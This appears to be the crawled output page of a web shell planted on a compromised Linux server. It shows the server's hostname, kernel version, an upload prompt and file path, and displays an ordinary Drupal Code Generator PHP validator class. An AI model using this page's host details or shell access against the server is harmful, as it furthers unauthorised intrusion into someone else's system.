Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/strat/vendor/chi-teck/drupal-code-generator/src/Validator/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/strat/vendor/chi-teck/drupal-code-generator/src/Validator/ExtensionExists.php

<?php

declare(strict_types=1);

namespace DrupalCodeGenerator\Validator;

use DrupalCodeGenerator\GeneratorType;
use DrupalCodeGenerator\Helper\Drupal\ExtensionInfoInterface;

/**
 * Validates that the extension with a given name exists.
 */
final class ExtensionExists {

  /**
   * Constructs the object.
   */
  public function __construct(
    private readonly ExtensionInfoInterface $extensionInfo,
    private readonly GeneratorType $generatorType,
  ) {}

  /**
   * @throws \UnexpectedValueException
   */
  public function __invoke(string $value): string {
    if (!\array_key_exists($value, $this->extensionInfo->getExtensions())) {
      $format = match($this->generatorType) {
        GeneratorType::MODULE_COMPONENT => 'Module "%s" does not exists.',
        GeneratorType::THEME_COMPONENT => 'Theme "%s" does not exists.',
        default => 'Extension "%s" does not exists.',
      };
      throw new \UnexpectedValueException(\sprintf($format, $value));
    }
    return $value;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net